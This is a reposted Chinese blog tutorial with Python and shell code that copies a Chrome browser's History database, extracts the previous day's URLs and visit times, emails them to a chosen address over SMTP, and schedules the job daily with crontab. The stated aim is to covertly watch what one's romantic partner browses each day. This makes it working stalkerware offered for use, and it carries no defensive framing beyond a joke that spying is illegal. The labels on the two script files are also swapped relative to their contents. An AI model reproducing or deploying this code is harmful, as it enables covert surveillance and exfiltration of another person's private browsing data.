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Python实时监控网站浏览记录实现过程详解

转载 作者：qq735679552 更新时间：2022-09-29 22:32:09 25 4
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这篇CFSDN的博客文章Python实时监控网站浏览记录实现过程详解由作者收集整理，如果你对这篇文章有兴趣，记得点赞哟.

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间，并存在一个txt文件中 。

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱) 。

(3)建立例行任务，每天定时自动完成这些操作，你就可以通过邮件查看你对象每天看啥了 。

准备 。

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址 。

qq邮箱授权码 。

SMTP服务器地址 : smtp.qq.com 。

接受邮件的邮箱地址 。

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成 。

从表中可以看出，我们要的网址和访问时间就在urls.url和urls.last_visit_time中 。

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

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# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
 
# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument( 'affix_file' , help = 'the path of the affix' )
args = parser.parse_args()
 
 
# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
   name, addr = parseaddr(s)
   return formataddr((Header(name, 'utf-8' ).encode(), addr))
 
#连接服务器(这里大家好改成自己的！)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址
 
#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg[ 'From' ] = _format_addr( '风一样的女子 <%s>' % from_addr)
msg[ 'To' ] = _format_addr( '风一样的男子 <%s>' % to_addr)
msg[ 'Subject' ] = Header( 'chrome历史记录每日更新' , 'utf-8' ).encode()
 
# 邮件正文是MIMEText:
msg.attach(MIMEText( '窥探隐私是犯法的啊！' , 'plain' , 'utf-8' ))
 
# 添加附件就是加上一个MIMEBase，从本地读取一个txt文件:
with open (args.affix_file, 'r' ) as f:
   # 设置附件的MIME和文件名，这里是py类型:
   mime = MIMEBase( 'result' , 'txt' , filename = 'result.txt' )
   # 加上必要的头信息:
   mime.add_header( 'Content-Disposition' , 'attachment' , filename = 'result.txt' )
   mime.add_header( 'Content-ID' , '<0>' )
   mime.add_header( 'X-Attachment-Id' , '0' )
   # 把附件的内容读进来:
   mime.set_payload(f.read())
   # 用Base64编码:
   encoders.encode_base64(mime)
   # 添加到MIMEMultipart:
   msg.attach(mime)
 
#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25 )
server.set_debuglevel( 1 )
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本，我们可以把url和访问时间提取出来，并且存储在 。

result.txt中，下图就是我得到的部分结果 。

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

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# -*- coding: utf-8 -*-
import sqlite3
 
#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'
 
# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()
 
 
# 2.选取我们想要的网址和访问时间
try :
   select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
   cursor.execute(select_statement)
except sqlite3.OperationalError:
   print ( "[!] The database is locked! Please exit Chrome and run the script again." )
   quit()
 
# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open ( '/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt' , 'w' ) as f: #改成自己的路径
   for i in range ( len (results)):
     f.write(results[i][ 1 ] + '\n' )
     f.write(results[i][ 0 ] + '\n' )

通过这个脚本，我们可以把result.txt作为附件，发送给指定邮箱地 。

址，下图是我得到的部分结果 。

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh ：其实，前面几个脚本，已经完成了我们的任务，但是每次都执行这么多脚 。

本，太麻烦了，我们可以把这些脚本的执行语句整理成一个shell脚本.

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cp /Users/Marcel/Library/Application \ Support /Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history .py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail .py /Users/Marcel/Desktop/tmp/code/chrome_history/result .txt

这样，我们在终端执行./start.sh，系统就会帮我们把这三条语句依次执行了 。

注意：由于crontab命令需要绝对路径，所以这里的路径都是用绝对路径 。

(5) crontab ：如果使用了这个命令，在电脑开机并且联网的情况，系统会自动执行，然后把结果发到你的邮箱 。

使用方法：在终端下输入crontab -e，使用vim输入下面一行代码就可以了 。

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh 。

说明：前面两个数字，就是你每天执行这个脚本的时间，我这里设置的是14：20.

重要的事再说一遍，一定要写绝对路径！！ 。

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持我.

原文链接：https://www.cnblogs.com/zwhy8/p/13268968.html 。

最后此篇关于Python实时监控网站浏览记录实现过程详解的文章就讲到这里了,如果你想了解更多关于Python实时监控网站浏览记录实现过程详解的内容请搜索CFSDN的文章或继续浏览相关文章，希望大家以后支持我的博客！ 。

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